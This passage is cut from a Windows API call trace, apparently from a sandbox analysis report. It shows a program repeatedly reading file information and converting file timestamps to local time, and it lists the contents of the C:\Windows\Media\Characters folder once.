lpSystemTime=0x4abc24) returned 1 [0260.831] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.831] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.831] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.831] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.831] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.831] CloseHandle (hObject=0x178) returned 1 [0260.831] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.832] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.832] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.832] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.832] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.832] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.832] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.832] CloseHandle (hObject=0x178) returned 1 [0260.833] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.833] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.833] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.833] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.833] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.833] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.833] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.833] CloseHandle (hObject=0x178) returned 1 [0260.834] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.834] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.834] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.834] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.834] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.834] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.834] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.834] CloseHandle (hObject=0x178) returned 1 [0260.835] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.835] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.835] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.835] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.835] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.835] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.835] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.835] CloseHandle (hObject=0x178) returned 1 [0260.836] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.836] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.836] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.836] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.836] CloseHandle (hObject=0x178) returned 1 [0260.838] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.838] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.838] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.838] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.838] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.838] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.838] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.838] CloseHandle (hObject=0x178) returned 1 [0260.839] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.839] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.839] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.839] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.839] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.839] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.839] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.839] CloseHandle (hObject=0x178) returned 1 [0260.840] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.840] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.840] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.840] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.840] CloseHandle (hObject=0x178) returned 1 [0260.841] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.841] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.841] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.841] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.841] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.841] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.841] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.841] CloseHandle (hObject=0x178) returned 1 [0260.843] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.843] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.843] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.843] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.843] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.843] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.843] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.843] CloseHandle (hObject=0x178) returned 1 [0260.843] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.844] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.844] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.844] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.844] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.844] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.844] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.844] CloseHandle (hObject=0x178) returned 1 [0260.844] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.844] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.844] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.845] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.845] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.845] CloseHandle (hObject=0x178) returned 1 [0260.852] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\Characters\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe634cda, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18d65ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18d65ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0260.852] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.852] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.852] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.852] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.852] CloseHandle (hObject=0x178) returned 1 [0260.854] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.854] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.854] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.854] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.854] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.854] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.854] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.854] CloseHandle (hObject=0x178) returned 1 [0260.855] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.855] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.855] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.855] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.855] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.855] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.855] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.855] CloseHandle (hObject=0x178) returned 1 [0260.856] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.856] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.856] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.856] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.856] CloseHandle (hObject=0x178) returned 1 [0260.857] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.857] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.857] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.857] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.857] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.857] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.857] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.857] CloseHandle (hObject=0x178) returned 1 [0260.858] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.858] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.858] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.859] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.859] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.859] CloseHandle (hObject=0x178) returned 1 [0260.859] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.859] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.859] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.859] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.859] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.860] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.860] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.860] CloseHandle (hObject=0x178) returned 1 [0260.860] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.860] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.860] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.860] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.860] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.860] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.861] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.861] CloseHandle (hObject=0x178) returned 1 [0260.861] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.861] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.861] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.861] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.861] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.861] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.861] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.862] CloseHandle (hObject=0x178) returned 1 [0260.863] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.863] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.863] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.863] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.863] CloseHandle (hObject=0x178) returned 1 [0260.864] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.864] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.864] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.864] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.864] CloseHandle (hObject=0x178) returned 1 [0260.865] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.865] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.865] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.865] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.865] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: 